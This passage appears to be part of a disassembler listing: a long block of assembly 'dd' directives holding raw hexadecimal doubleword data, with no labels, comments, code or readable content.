		dd 0C01B5C6Eh, 49BDD117h, 90688C1Ch, 4000C070h,	9DB6C4Dh
		dd 0AE66D1h, 0EFB01C99h, 5D3EB357h, 5CC0A95Ah, 585E1504h
		dd 6D0025BCh, 6E484A69h, 4B03E808h, 748436C3h, 7890ACB2h
		dd 126D968Dh, 42C88D6h,	1E2EB984h, 0DDE9D107h, 0CCC06BE5h
		dd 8068A15Dh, 0C411855Fh, 0D4055E69h, 0BF66E9h,	43107580h
		dd 0C456DFF3h, 9C01208Ch, 701D438h, 3E930B99h, 4CF3555h
		dd 413FFD80h, 60684EE4h, 399EAE43h, 0CDD50FBh, 0E2F53E80h
		dd 5786381h, 24D37CB1h,	0BB03A21Ch, 0EB42D14Eh,	0F020F5F5h
		dd 0E692D7h, 0E790AAFFh, 8615AB0Ch, 6B9CDB16h, 95A12418h
		dd 12D12753h, 33F36800h, 58944D31h, 0E0246BEh, 0D8D58E81h
		dd 7005067h, 602680F6h,	0D78A0067h, 0CE85F018h,	43513FF8h
		dd 0C599FC64h, 0FA4CB89Ah, 12034888h, 14CBE5E0h, 0EECE36C8h
		dd 8E6F25D9h, 91417781h
		dd 1838074h, 896BA0A4h,	249EB9D5h, 0EF261588h, 94112C8Dh
		dd 12B1983h, 373169B2h,	2B112910h, 3EA66109h, 0FAB002D8h
		dd 64BD03C0h, 0D304B0FDh, 551E821Dh, 0E8107458h, 918E7AC0h
		dd 18D27914h, 5F81005Ch, 8A60AA18h, 690F10F6h, 0E09F928Ch
		dd 27EBFB03h, 2118B84Ah, 4114CC1h, 0DB3F680h, 448C0A61h
		dd 0E0EADD0h, 20E5E4B3h, 7512B6C6h, 48F54F70h, 13C1960Ch
		dd 79F9FF2Bh, 27B0506Ch, 73072B0Bh, 52335BA5h, 315547D1h
		dd 54998C48h, 0F83D983Eh, 0CD224041h, 0E75A625h, 0DEE45E4h
		dd 3C604CD9h, 0AA3E2EFCh, 40D1C44Ch, 0CF8B9E34h, 0A16B2E43h
		dd 810D1742h, 0D23B6418h, 5C63CC00h, 0FE380CB7h, 97F987DEh
		dd 62D1D309h, 6B90A3C4h, 69383B20h, 0F517E744h,	58011B98h
		dd 4E51351Fh, 729BB083h, 0B9CADA5Eh, 0F3256C52h, 0A4F0AA53h
		dd 0DF1A08h, 97053315h,	7531D20Ch, 0B5E58ABh, 6DE06866h
		dd 1F004D65h, 5E67CE4h,	89F56687h, 0B8307C5Eh, 0C1388CCEh
		dd 8178009Dh, 9AE86433h, 0CB310B40h, 546068B1h,	0C935DEC1h
		dd 0DCCB695Bh, 0E8C038C8h, 4C354859h, 38FC2861h, 94C5018Ch
		dd 0A51B4906h, 8CD1E608h, 0DF183AD9h, 9B048900h, 61EB08F3h
		dd 854AB9h, 633F44Ch, 274EE84Fh, 10605814h, 751A46B5h
		dd 48C74924h, 0AB633844h, 0DE19C003h, 2A27C2EEh, 17C8FB68h
		dd 0C2094CBFh, 0BC470844h, 43603C44h, 153DAF2Ch, 2D597ED4h
		dd 4FA004F4h, 4CB044E9h, 5930385Bh, 3A9C0860h, 3CB6DBDDh
		dd 0D7E99240h, 0F2992FD5h, 1B479081h, 0B8406DF6h, 0A1EC0050h
		dd 9A312EE9h, 0E75A4F65h, 63C35C44h, 0D10B10E2h, 0C8E8C7AEh
		dd 828254CDh, 0D9D84244h, 72EA1158h, 0E813B22Ch, 0EC028D93h
		dd 0F67DE88Eh, 8EFAC474h, 0C0518858h, 253CB12Ah, 287B9300h
		dd 622D98C7h, 38843D69h, 0E84806AFh, 301AF59h, 49020DEFh
		dd 14FC4F17h, 0F440F598h, 0FCFAED10h, 6B66309Eh, 4A6C6861h
		dd 0F28D5B3Ch, 0D158121Dh, 0B4FAFC80h, 17BF8F35h, 0B4038970h
		dd 99909B10h, 4723CD01h, 0BFE74EEEh, 0CC13A054h, 1C818825h
		dd 0F2EB3Ch, 165BD383h,	0B82F965Bh, 14073923h, 988BD097h
		dd 0B18ED300h, 0B06549D0h, 2B604064h, 0E300E60Eh, 8C09070Ch
		dd 256F4EC1h, 30978285h, 4980D311h, 0B0F63328h,	0F4042228h
		dd 465EFCBCh, 6D9600D1h, 280D26B4h, 921F0318h, 0CFE998EDh
		dd 204D47CAh, 0D4C2DFE0h, 0AFBF0065h, 0CFDE8026h, 0C12F610Fh
		dd 0FA8C80E5h, 16D318F4h, 2F801685h, 0D623D8h, 101DAFE0h
		dd 9403695Ch, 0C9258BF6h, 0D1B94F59h, 7BDE0238h, 40489C4Fh
		dd 6B313644h, 0E0DD30A6h, 8B57AE19h, 301CE202h,	0E0931870h
		dd 4F4CC82Ch, 0FE480991h, 3611789Dh, 0D5DB9180h, 0C0097C3Ah
		dd 1A4D52h, 31A785D8h, 0CD3C01A9h, 8C112068h, 3059CE02h
		dd 2818D579h, 0BEBC121Fh, 779FDF80h, 6D2EF67h, 6D53F48Eh
		dd 6892C06Ch, 615B940h,	71925B69h, 3F02C2B5h, 594B29EAh
		dd 42056F5h, 0A82DC962h, 5173063Ch, 2E18465Dh, 8B49EE2h
		dd 5C4A5EC4h, 6D6465Ch,	0C24E8FD0h, 80D17CA0h, 4213AC62h
		dd 74CC46FDh, 177B765Fh, 0F540FBBAh, 0EE25F844h, 0F6F86182h
		dd 8B088E18h, 0C4723F0Fh, 96FB40D7h, 845F8Bh, 0CBA59E81h
		dd 0B806D188h, 6FE53703h, 13B6D52h, 8497DE68h, 7CAD2D40h
		dd 9EDCC8A8h, 0D2B604F0h, 968CB4B8h, 0C6E91D0Ch, 435FB059h
		dd 0F05C233Fh, 3E1D277Eh, 8A0E9A1Eh, 9B2818Ch, 82E69F0h
		dd 414221FCh, 0B5CC9AB8h, 0E32F8024h, 0EECDBE7Eh, 2855B812h
		dd 588C0012h, 0B9C912C0h, 0FF9CF4D1h, 207452E9h, 452D3D21h
		dd 0CDE5A540h, 0C8F228E9h, 0ADBF3794h, 0CC071048h, 513142F5h
		dd 1DEA402Bh, 7C00DC32h, 3F290C75h, 74B48025h, 0D6465Ch
		dd 0DFE5BC50h, 246B5D4Ah, 809614h, 1B70AF75h, 4D2E48B2h
		dd 18BE34A1h, 7678C035h, 59B807C4h, 1CFE4ABEh, 0FF0D2F98h
		dd 40E0209Fh, 6C78461h,	3A9BE839h, 3E7C5039h, 823BE121h
		dd 0CC4DB9BAh, 43E39490h, 733A4286h, 5F804979h,	0DF5E20B6h
		dd 946B3AE9h, 91BCD001h, 4C4A4462h, 0DD4EC1D8h,	0F0F53000h
		dd 3A9DA13Bh, 0E10B6AD6h, 98E80DD2h, 0D0837402h, 0C393DE8Fh
		dd 0CAA38341h, 0B19961B8h, 0A7481564h, 0F41F04B9h, 13680A62h
		dd 0FE1EC00Ch, 1D24514Dh, 7E42A831h, 80E8B716h,	0B2C47D03h
		dd 0D1186315h, 23701E39h, 2DC13251h, 94E08860h,	2586E5EAh
		dd 0EC67F516h, 0B0613664h, 253AE0FBh, 653EF70Ah, 494D46Dh
		dd 0C0473EE8h, 74E9F6E8h, 0F1F09192h, 74418D2h,	84D33C42h
		dd 0B05AB93Eh, 144BC1F0h, 0B82C4010h, 0F6008CCBh, 97CC9ACDh
		dd 944D2456h, 1ED108E4h, 52EDFE01h, 486428DDh, 0B8BE1720h
		dd 0A8741240h, 663203ACh, 0C53FF7AAh, 0F310D827h, 9D4D286Fh
		dd 155CF82Ah, 0C313BC96h, 0B30B361h, 0F7DEE4Eh,	9CB9D38h
		dd 5254E0D6h, 202941B5h, 2240DD34h, 0C1C3608Dh,	76C62E08h
		dd 0FBA94507h, 69B03B19h, 0AC16EBF6h, 92DD718Ch, 0F5DC0014h
		dd 0E9783E89h, 4D005443h, 70C018A0h, 2CF3D459h,	8C058E7h
		dd 80282671h, 90D5C921h, 0CAD1833Fh, 0D46122CBh, 19E3Dh
		dd 4224B41Ch, 0FEE0659h, 7146F677h, 0C8872980h,	6327017Bh
		dd 91A8979Eh, 0EB7F8036h, 30A16B6Fh, 7498BBA5h,	6C90E171h
		dd 7DE78210h, 4447906h,	0EB176811h, 0CC2F542h, 27CE360h
		dd 885AC1D1h, 0B08192A2h, 880E107Ah, 8FF6A958h,	341D670h
		dd 2E596549h, 9BD58C09h, 0FD4DE1D4h, 0CB54653Eh, 0C037C8A4h
		dd 0F51E488Eh, 49D94C12h, 0CAA080F7h, 5C004DB0h, 4B5F4E5Dh
		dd 74F68D55h, 36DD2426h, 0C08BBFCCh, 0D8201554h, 1B76B4D3h
		dd 744C0C09h, 4F1094CFh, 6DD841C9h, 222A0959h, 2595130Ch
		dd 4C31B8E2h, 70A09689h, 6C437108h, 6802B522h, 6BC4C884h
		dd 63106010h, 90F8994Eh, 0EC3A4E1Fh, 0AD00CC23h, 958DDD88h
		dd 74A64CACh, 0C94B21B3h, 3A02986Eh, 8CD2F00Fh,	0AC725CBAh
		dd 2E7C3F56h, 467E34A4h, 536B00D1h, 0A63CDA12h,	0E1BD395Fh
		dd 2751A185h, 0E798910Eh, 463B0D35h, 49E2DD0Ch,	3C366400h
		dd 0F1422C31h, 8382250Bh, 37461404h, 54F582F8h,	0A8725051h
		dd 95B98621h, 63D8848h,	6FEF7F81h, 923CAD52h, 0F4B40548h
		dd 0BBE2000Dh, 0BAB9E41Fh, 4008F9Eh, 2FD1ECCEh,	49194D47h
		dd 0EB014469h, 0B1C161B5h, 302E6AD6h, 6104D721h, 90B0BDC9h
		dd 8190B9EDh, 0B9ADC15Ch, 906FF00Ah, 58F69131h,	0D9104D23h
		dd 9B04043Ch, 0CB4EE9D3h, 0C510B8BDh, 96D13853h, 58A33167h
		dd 0D8CCC43Ch, 0AED12A82h, 0C7087CF0h, 28210D4Ch, 84B024A4h
		dd 0C17D583Ch, 24594B80h, 49A041E1h, 7248C472h,	3F1D22A0h
		dd 0D5A5B1CAh, 4848D4C4h, 8C50FC5Ch, 83BC5800h,	33A82E18h
		dd 1565121Ch, 23B02F68h, 7E4C01CDh, 0FD3DC91Ch,	58D4D2DDh
		dd 454D62h, 252199C0h, 8FF1EB81h, 800C152Bh, 1B0042BCh
		dd 0F72950D0h, 1ECACE85h, 200D9960h, 62F66E05h,	0C8A0A1C1h
		dd 0B1B8ED8Ch, 0AB0368C9h, 0D08D0E4Ch, 0CEF31900h, 93E6D6EAh
		dd 0A7320004h, 0D1C1AADAh, 7073712Bh, 0A2143427h, 72423FA8h
		dd 0CF320388h, 0D3C9BC23h, 1B7AEC0h, 60FD7318h,	9DFC9DB9h
		dd 0B14BB490h, 4745E100h, 6CC4A21Ch, 0AF92006Ah, 107D635Bh
		dd 4F26B8C5h, 0E411CF2h, 0F860F696h, 7F3B40E5h,	0B2EA5F09h
		dd 0CA34C02Bh, 0D76135B9h, 9BC0EE8h, 825F0290h,	0EC5CC512h
		dd 0EA662028h, 812D4909h
		dd 0D924D939h, 75051838h, 1777D2Ch, 9F4887DEh, 80BC8C42h
		dd 2D98EAB9h, 5CCC21CEh, 0A5101C6Bh, 948F2C1Ch,	5E3B7211h
		dd 46959A02h, 0E07ECBDFh, 5027968Bh, 63CE4524h,	1F6B0024h
		dd 2DE90BACh, 7086079Fh, 509DEBF3h, 0C9A04CA3h,	559EE307h
		dd 52C1FC59h, 78804F19h, 0AAE9D192h, 6C006BA0h,	2BEDB3AEh
		dd 44C8DF79h, 855F6F74h, 0D323B02Fh, 0BFC49B0Fh, 0D50E69E6h
		dd 0E1D76CD1h, 0D89795EBh, 0EB813991h, 233D3F0Dh, 6DA70034h
		dd 40D5E29Fh, 8B804F20h, 0C0D08850h, 0AE718E51h, 88420B2Bh
		dd 0A318F300h, 9EFF82Ch, 0BBAC12Ah, 1C5ED042h, 0D0465Eh
		dd 0D198899Fh, 0E4D2FF61h, 0B89797D9h, 0D180D091h, 2DA2C1A1h
		dd 59FE7304h, 688D64C4h, 9EE08EF4h, 46010CC8h, 8801B419h
		dd 8DB00832h, 75E8C88Fh, 7B630062h, 0E89805C2h,	1D069C9Bh
		dd 0E1DC254Fh, 56D30771h, 7009174Dh, 7EC92E24h,	9804281Ah
		dd 3C48528h, 58F7C4B0h,	2480A88Dh, 0AC6F91DCh, 9D15A31Fh
		dd 9BC50640h, 1523122h,	998E46FAh, 0D4C9BA1Bh, 8856D5B1h
		dd 0C3E1EBCh, 0C54E0ABEh, 0FE80C47Eh, 0ED9CDFF4h, 0BC2890EBh
		dd 36465E74h, 2D500276h, 0A1A0E978h, 0D8808C6Ah, 679A53F8h
		dd 24B94C90h, 78184271h, 1303FDECh, 829F2AB5h, 8AC01099h
		dd 59171FC6h, 45087EFh,	0DC88DE14h, 994E005Ah, 2B30B53Dh
		dd 0AB007581h, 0B41BF8C2h, 6C17FC0h, 1561892h, 404F7149h
		dd 0A4020894h, 0DE959961h, 42C100C4h, 0BC93063Dh, 0D8ED62D2h
		dd 0FAB3F02h, 4C76855Fh, 1ED9465Eh, 0E0009088h,	4C6E0B67h
		dd 62C20692h, 29BD8A77h, 38DDDA00h, 0D3C120A2h,	4B487BA6h
		dd 0D5D0C0FFh, 0CF508299h, 0E727FA84h, 0C4C845F3h, 0D9556038h
		dd 1591673h, 0FD24D441h, 8D21D8h, 17564A53h, 6F004341h
		dd 0F9DAFD70h, 48E8FA18h, 39BC18F3h, 4D3E0E8Ch,	20535AD1h
		dd 0EAB94ACCh, 5C10BC60h, 12453C80h, 0A5CBDD84h, 0E0844D48h
		dd 0D93D59C1h, 52758089h, 0F7E56471h, 0BA21F2Fh, 0B9C9CEF5h
		dd 4DBDE360h, 0CD6476E9h, 70C8DD58h, 21AB3825h,	0B3524200h
		dd 2C97654Ah, 0F48EDF4Ah, 0D3C03588h, 0F504B246h, 405E3860h
		dd 200475BFh, 7C08D9CCh, 1C821484h, 7717204Fh, 0EC003BACh
		dd 0D33EB1C7h, 0B6FB821h, 631385E1h, 1DB405h, 2D4115C4h
		dd 0E894256Dh, 5493344h, 0D4D16010h, 0BA2ED902h, 0C9B15AEBh
		dd 602F92CCh, 0E1A160D0h, 0FA0208B6h, 589D2D40h, 284D64C8h
		dd 0F162495Fh, 4AC10E2Ch, 0B8804FB2h, 40C6B186h, 0B50669Dh
		dd 5E73F3F5h, 0D97190D1h, 4D1C1118h, 0AB5D5A4Fh, 0C3F03A80h
		dd 0A07732h, 0CD989C5Ch, 99D4E967h, 404B24Bh, 0B4C017F3h
		dd 3D3F114h, 0C16316B5h, 9800D98Dh, 5EF0F70Ah, 60554882h
		dd 2366E1B1h, 564B7368h, 3DC8648Bh, 1974EC3h, 5E3A3F86h
		dd 804175CEh, 25F8B021h, 2BE77C6h, 86548AC7h, 45407CD7h
		dd 954EB8EDh, 108120C5h, 35023959h, 9941D874h, 0C701C84Ah
		dd 0B0342B2Dh, 0CDF224F2h, 0F9E30h, 0D3EA64F9h,	0B9077862h
		dd 0F3BFA70Eh, 641A89BAh, 39CF6EB8h, 0CDB5A8F8h, 10DC4082h
		dd 3EE33F79h, 1C42ADAFh, 826214DCh, 0D10459E8h,	0E2183Bh
		dd 2C4B3C5Bh, 0F5F8C086h, 465ED4BEh, 0C13B023Ch, 0C8C3DE4Eh
		dd 711D5634h, 0DB854B62h, 61039D54h, 90C26743h,	18D4F218h
		dd 0F0DBD2B1h, 58021747h, 0CADEC1B2h, 0F154D9E2h, 7421851h
		dd 743D4504h, 2ECE9128h, 0EDB44158h, 33750144h,	23D83E2Eh
		dd 9FFB003Dh, 0EAA93677h, 0D5354816h, 0EB4FFC81h, 0F504F86Dh
		dd 0E9423D64h, 0FC4BDF64h, 580CC6AAh, 463CB88Bh, 74026BC1h
		dd 0C3F64085h, 52DEA180h, 44C11834h, 0ED07F355h, 9CE94EE7h
		dd 24BD484Ch, 0AFC41954h, 0DC801044h, 1324A70Bh, 0BF9C7CC9h
		dd 5CA826A1h, 0D601CC46h, 0DC1C0338h, 1DFC7DDEh, 3900CDC9h
		dd 962C9A31h, 88830429h, 0E0566B24h, 75405B78h,	0F4B5B7F3h
		dd 6FD94E8Eh, 0BCA19371h, 0FEE879E8h, 1D1FBE9h,	11C8232Fh
		dd 0EB8070A5h, 0B917618Dh, 3440C515h, 0FBD508BAh, 6B7F4BF5h
		dd 16CE0F0Ch, 0FFDC037Eh, 0DA690047h, 570F5545h, 0C8ABAC6Bh
		dd 34DA09E7h, 88966800h, 94E9EC01h, 7CBF00E1h, 9753B6D9h
		dd 0E4001976h, 7E2D492Ah, 0BDEE18EAh, 5C000CB7h, 0B09F147Dh
		dd 4A3F2716h, 209FA8C6h, 31DC6FB0h, 41E73D8h, 0E8B1D1D3h
		dd 5440F0A4h, 0A0727528h, 0DECA970Ch, 27C081E3h, 0DC8779B9h
		dd 822D98Dh, 6661CF15h,	0F4CEC137h, 62021F1Eh, 0C925F98Bh
		dd 1C04559Ah, 0C8B48F69h, 8DCCC037h, 0D3005193h, 7DE942B9h
		dd 0C5E3AC6Ch, 403D05D9h, 7AC1AE80h, 650066CDh,	9AE90ACEh
		dd 5B2E5Ah, 0C25C10A9h,	32BD5925h, 4E42589Ch, 4DD01CEh
		dd 25C86255h, 24805A29h, 28B0EAEDh, 7654B498h, 300CE46h
		dd 63386ACCh, 4C91DFFFh, 0C19C6DA5h, 703E682Fh,	0A35C194h
		dd 5CECC0D2h, 0D480DA8Fh, 0EBC51470h, 5A78B00h,	3AC13F5Bh
		dd 404B029Ah, 1171059h,	28F8E0D2h, 0EB2F3500h, 694A5E31h
		dd 0E3E638A7h, 3741C82h, 827D405Ah, 0F5F778h, 0CB0C4906h
		dd 0C2F65C2Dh, 5E950780h, 20878BF3h, 0DD44C018h, 0C359F0Bh
		dd 0B44B8D80h, 0E963CD86h, 0F3119BF8h, 4E179023h, 3ABCF3F5h
		dd 0B5F4035h, 41553E8Ch, 7082CC62h, 0E008A6E0h,	9080FC11h
		dd 0A23EFD8Bh, 120969Fh, 298B9935h, 34DDFFADh, 0E1C2CA60h
		dd 7EF608C9h, 0F80FF484h, 0EA2D3EAAh, 6C115467h, 74696203h
		dd 76A8C143h, 0D899FF8Ah, 218D7F9h, 0C5055479h,	0AF91B3FAh
		dd 5EE42881h, 0DA224D08h, 4FE3090Dh, 70F131E9h,	3105491h
		dd 8C50F8BEh, 0B0179ECh, 0D7F8BE9Ah, 0A1DBEF59h, 3FC8FE3Dh
		dd 187494F6h, 0CDDE99C1h, 5941A5F7h, 0C4F50E60h, 0CF2231C3h
		dd 0AE6A8297h, 0A0649C82h, 3D13210Fh, 9850A78Dh, 0B4E54D47h
		dd 504C2888h, 0DC4ADCBCh, 6AEBCC59h, 0C95D240h,	458DF024h
		dd 0F0314652h, 515EEB79h, 0FEDE7C1Fh, 27F3B206h, 41A08010h
		dd 171580D2h, 0C3E478B0h, 74E66410h, 0C818CA92h, 338BC042h
		dd 91051D45h, 1380ABBh,	0CD1ED8ADh, 8A5CC0FCh, 0D9E778FAh
		dd 732CC01Bh, 5CA2DAC8h, 0D7467694h, 71A1226h, 0F08653B0h
		dd 8C6F9B0Dh, 0F9E3DB06h, 4A815DFFh, 0A558E0F6h, 23523409h
		dd 40985855h, 3C60051Ch, 12FD5629h, 0A64A0003h,	0ADC8A52Fh
		dd 0C3003532h, 0B3CD33E9h, 5A554907h, 350B059h,	0EC34F324h
		dd 9037E80Eh, 7795B700h, 4FBDFF2Dh, 0AE3D3F27h,	34143Ch
		dd 0A10CB6BCh, 0AD1DC3h, 39916180h, 0F83BE2BFh,	85009DFCh
		dd 25B687Eh, 0E3B9B8FDh, 8D0C247Ch, 7650ED80h, 2D771378h
		dd 70FF9224h, 882F00DEh, 0F7C8B320h, 99A27EAEh,	0E8EBF085h
		dd 0CE1188E4h, 0D509F4F4h, 145921E0h, 80F90840h, 30A0E08Eh
		dd 0A1F9E6DEh, 0BC0245A6h, 4AC134ABh, 13F45C01h, 0B014E67Fh
		dd 1CCA9DB5h, 0A44D4908h, 965F8BF4h, 62005C72h,	4AE72930h
		dd 179EF665h, 60EE5DFh,	78F864A0h, 3D15C0Ah, 9C03A867h
		dd 0E8CBD2B9h, 0F62E1F28h, 7200084h, 0D0F6712Dh, 7860A499h
		dd 0F35D4958h, 338CA0E5h, 44F00E7Fh, 0B433AD1Bh, 9E02E270h
		dd 0A16AFBD8h, 0F89CF835h, 5FE41C70h, 48D05BB6h, 40B0EAD7h
		dd 3C0DE9D1h, 1818E4BEh, 44AAB510h, 4AF0877Eh, 0C46DDF41h
		dd 0C5454709h, 9986F074h, 1859D2CAh, 1866DD3Dh,	7F01B41Bh
		dd 5AED5EDCh, 447A3C69h, 0A92255FCh, 2C7F10CCh,	6CD905C9h
		dd 0BE18D1F1h, 5C67F71Eh
		dd 2A50E680h, 5B39526Fh, 1DC7A1Bh, 214A407Eh, 7C707AC3h
		dd 2D3F88B2h, 6439FD27h, 4CC22094h, 29996012h, 808134C4h
		dd 0C82E28EDh, 9097CBBCh, 81723B10h, 40D4CA4Eh,	28EC1645h
		dd 41A5110h, 2A31C8EAh,	113FB4F2h, 79FE33C3h, 0A804D537h
		dd 96301036h, 0B7B75DE7h, 528F8200h, 0A0643A01h, 64A9B400h
		dd 67DF876Bh, 0E7FC00F8h, 8DB59AA8h, 0E27A0FCEh, 4865FB2Eh
		dd 2D053040h, 0F76E00FCh, 1C960198h, 89072F53h,	0F8278134h
		dd 0D14CF900h, 14809532h, 0FCC95D0Eh, 470AA302h, 4189B906h
		dd 10D1B255h, 0D488E44Fh, 66AFFBC0h, 899C067h, 8A1F1E61h
		dd 0B9C37A0Eh, 2B0D4CDh, 9818F4FBh, 0C978D649h,	1E4364A4h
		dd 62546EEDh, 220EA8F6h, 0C9BC025Dh, 0DE142237h, 1D01B852h
		dd 40EF965Ch, 0D02A8D03h, 59CCB204h, 87A68917h,	764E38B4h
		dd 0DC21C6F4h, 270041DAh, 82F6145Ch, 7E47A1Bh, 2CF331B8h
		dd 0D25B60D6h, 3F252FEAh, 3A087243h, 3E0AD392h,	82CD510h
		dd 148BC4BEh, 0BBCC4806h, 48A4032Ah, 8915FA0Eh,	975FFCCAh
		dd 81D291ACh, 0CD134CDDh, 167733F8h, 0E8F50DFDh, 4EA381A4h
		dd 0C1D46BEAh, 1FF64C42h, 806DBC05h, 4FBC04B9h,	0A68488C0h
		dd 62E8B17Ah, 0B786304h, 1CC4E1F5h, 1714D441h, 0C82E8DEFh
		dd 6700B408h, 0D5E446CAh, 0A44193h, 77BAD93Bh, 489D1E25h
		dd 9D00C4Ch, 0D97DEE1Ah, 18D9D180h, 0B0E600F3h,	0A7C7F02Eh
		dd 82024E63h, 0F5147868h, 69C4DE53h, 78D4707Eh,	7C670492h
		dd 88E74EEFh, 69016210h, 635CE95Bh, 7C781399h, 23EC2F4Eh
		dd 0C096003Bh, 4BB71FDDh, 0E8953F00h, 9B2985EBh, 3548165Ah
		dd 0D3644125h, 1E0E6B9h, 303FF3C7h, 0D5174730h,	26A992Fh
		dd 57E68258h, 5011DC1Dh, 19BB7F80h, 3E014669h, 6D418151h
		dd 3B5FB9h, 0C1359840h,	0C9AD5CEh, 0BC96115h, 4AED0680h
		dd 728389Dh, 0F55CCAF1h, 903A44DEh, 81416D20h, 6460345Bh
		dd 26892CCh, 0AB1EEA44h, 1C84CB27h, 3ED0B7B2h, 0BCC917BFh
		dd 3DE2D0A3h, 0E8E4EE30h, 0B86777BAh, 6CB120D8h, 0DB20B098h
		dd 61C324A4h, 0EBE74014h, 9F09DD8Eh, 0C1C12A85h, 0CDD4E2ACh
		dd 6EC481CFh, 32C53020h, 0ABF80011h, 9DC78763h,	25303FFCh
		dd 0F690099Eh, 120D74FAh, 0F10040Eh, 608344A4h,	5EE2FB80h
		dd 465E745Ch, 0AB2B0341h, 0C86E4A04h, 0C9C42D77h, 0E0A1BADAh
		dd 2F5A357Fh, 250F0C88h, 0F459D2DFh, 43AAD88h, 0E1337592h
		dd 3541D404h, 4DE810BAh, 0FF60096h, 1F8B5311h, 3A7FFDE0h
		dd 5A048063h, 29732D4Ah, 0B1A4708Dh, 471184h, 85594516h
		dd 0A04445Ah, 0C4D5C0EBh, 770F01BCh, 0D4B1381Bh, 8D2EEDBBh
		dd 0DC93B89Eh, 10718F4h, 52CE5CC1h, 0F496C675h,	0B100EA9Dh
		dd 47199EE9h, 0C04BED55h, 0EFF50380h, 8F0502F4h, 73566B0Ah
		dd 0AB1808C2h, 50047B7Ch, 0E9000496h, 0E6AA0D3Ch, 3909F287h
		dd 8A8BAC1h, 910EE0ACh,	5909034h, 4AF6408Eh, 9C860C3h
		dd 0E1B9BAC9h, 7540B4ACh, 4ADE0640h, 332CD7D3h,	47EB4997h
		dd 483F1112h, 7F624091h, 758872DAh, 5BC380D2h, 977C209Fh
		dd 0C120DE96h, 0EBFDF571h, 7E908F80h, 0FCA9FE16h, 69184379h
		dd 50445600h, 3EA46268h, 8A615C55h, 0B892E525h,	3A795051h
		dd 6B078518h, 0AC644ED9h, 99C16181h, 224A5C38h,	272116BCh
		dd 75C7694Dh, 6ED12578h, 0DF240880h, 297457DEh,	8C8C84Eh
		dd 28412042h, 995183Dh,	0C84EBBBAh, 81CEB190h, 0F54DC827h
		dd 75584F62h, 0F678FEB5h, 78BD2800h, 5FC2C6D2h,	8FE4884h
		dd 82167D84h, 0DB046648h, 1C6AAA34h, 6A561E75h,	0C0E745F6h
		dd 3F8B28Eh, 8C684BABh,	45AA94BCh, 0B4D241B4h, 115EC1B8h
		dd 649C1482h, 493D7324h, 3C53A02Dh, 7FBDA07Fh, 637809B7h
		dd 74F259C9h, 45D95210h, 4413F84Ch, 0DEF4E43Bh,	124836E3h
		dd 0D0913E41h, 443F1D71h, 429A64D4h, 0FC9EB1D4h, 0ACFA2D98h
		dd 782EC302h, 569142A7h, 0EA40064h, 0E6901E97h,	99453Dh
		dd 200B9A9Bh, 176F97Dh,	0B1DC2ABAh, 3B8D21C6h, 8BF70C40h
		dd 0E2C45F9Fh, 1466BDC9h, 0E4B8C597h, 0DE5067CCh, 287830Dh
		dd 0D01208E3h, 8D27554h, 79557700h, 8222A971h, 73E739CEh
		dd 51BB3F70h, 44CB2DEh,	30C7570h, 0D5EC00ECh, 6B521D8Ch
		dd 5FF7C1BFh, 3F252DB9h, 40BB405Ch, 7D9700DEh, 63CD840Dh
		dd 0CB09C26Eh, 0F99EB7B1h, 0F6010908h, 9500AC73h, 0F72FE721h
		dd 3691D70h, 1250802Ch,	745AAE88h, 5E8BB213h, 80457848h
		dd 0C226CA77h, 4C09CDBAh, 0C8B65FE3h, 4AEE5ED4h, 8F0431FBh
		dd 9A3EFC8Bh, 3658E4BEh, 948B0198h, 40479CABh, 34022A3Fh
		dd 94DCC41h, 0DC94DCh, 2E9D70DCh, 9B2553AEh, 99613005h
		dd 0F8BCBD0Dh, 9654D88h, 0CDF800ACh, 6B2C008Ch,	26BCACC2h
		dd 1BFEA161h, 4088D0A2h, 706D0234h, 0C8FAADBFh,	0CBB9E03Bh
		dd 0A78DCC80h, 22EC9AEAh, 94A05E66h, 0F380CC2Eh, 3015E33h
		dd 0EEB91B2Ch, 0B7001896h, 154A1C18h, 0B71198EFh, 465200Bh
		dd 926037E4h, 9A18700Eh, 0E2193E66h, 35EF00A3h,	8817D510h
		dd 6704B394h, 5CC32F44h, 606550C8h, 6F3A3143h, 0A2006DBEh
		dd 0F50F6B02h, 8F372Eh,	0AD44EBB3h, 4918DD8h, 25CA8CA3h
		dd 91841D7Dh, 316D81D4h, 68244475h, 883C4A3Fh, 8159D130h
		dd 60F00B8h, 40FB7763h,	9EDD7B2Dh, 94E14430h, 0E058F630h
		dd 5E9E575Dh, 7238C221h, 95C3877h, 0AF2F1h, 571A9ECh, 6BCADF10h
		dd 0BB9124BCh, 2F020471h, 0AA876E20h, 3BC3CC1Dh, 0C28DA163h
		dd 1DD864EDh, 0C0F69015h, 0F48CCA31h, 3894A16Bh, 144465Eh
		dd 0E8CEE07Ch, 20300A95h, 8D284031h, 562CAEF4h,	61EB468h
		dd 0E92CA960h, 8B2A3835h, 0C051C8B0h, 0A8A05E78h, 7398D701h
		dd 76629ED4h, 0F84E36F0h, 0B1D516B7h, 497880A6h, 1A405665h
		dd 208E04D3h, 0BB483D55h, 1E497C5Dh, 0A9501075h, 9C3C3FDBh
		dd 0E7FE6400h, 29834F63h, 653E8D14h, 6CA892F8h,	78E82380h
		dd 0BDF69E53h, 0FDB73E01h, 6EB9D39Dh, 0E8012E7h, 168CA290h
		dd 78D13D3Fh, 446AC9DEh, 84171420h, 0F220B3F4h,	13FE303Ch
		dd 0B796A5Ch, 0F8E1E597h, 8DB444DCh, 924A500h, 596D505Ch
		dd 12C0B2C1h, 56B87588h, 0F264F20Ch, 0A7BA303Ah, 52D59801h
		dd 7F61EC3Fh, 0C844F431h, 0D6B208F3h, 2EA330h, 305B8707h
		dd 36C4DCE0h, 0D1C07F27h, 895C1680h, 0E1146044h, 785D4340h
		dd 988D04E8h, 0AB4577D3h, 0D223342Fh, 98C7ED03h, 7C2A9843h
		dd 4D4813D3h, 0E984039h, 0CA2D4AF6h, 0AD06CE9h,	0F8725DC1h
		dd 2B2CAC00h, 0C371F3h,	1DBB248Fh, 74FD2786h, 400F562Fh
		dd 84F569CCh, 0C1D3E406h, 2440E392h, 6418212Fh,	2250AC6Bh
		dd 0C0B097CCh, 53F266D9h, 0C0A18D4Bh, 62731C0Ch, 10813055h
		dd 0DED9E802h, 0FDE3D44h, 0C3244C2Ch, 55CF262h,	0B09642C1h
		dd 8D2F24ECh, 38020032h, 6E0B239Dh, 1804B744h, 74F600B9h
		dd 27A2EB2Fh, 0CEA2E4Fh, 0C1ED7C03h, 935CE3BDh,	0D38178ECh
		dd 54E466A1h, 2774C8ACh, 0E8EE5274h, 7C7F865Eh,	3F287046h
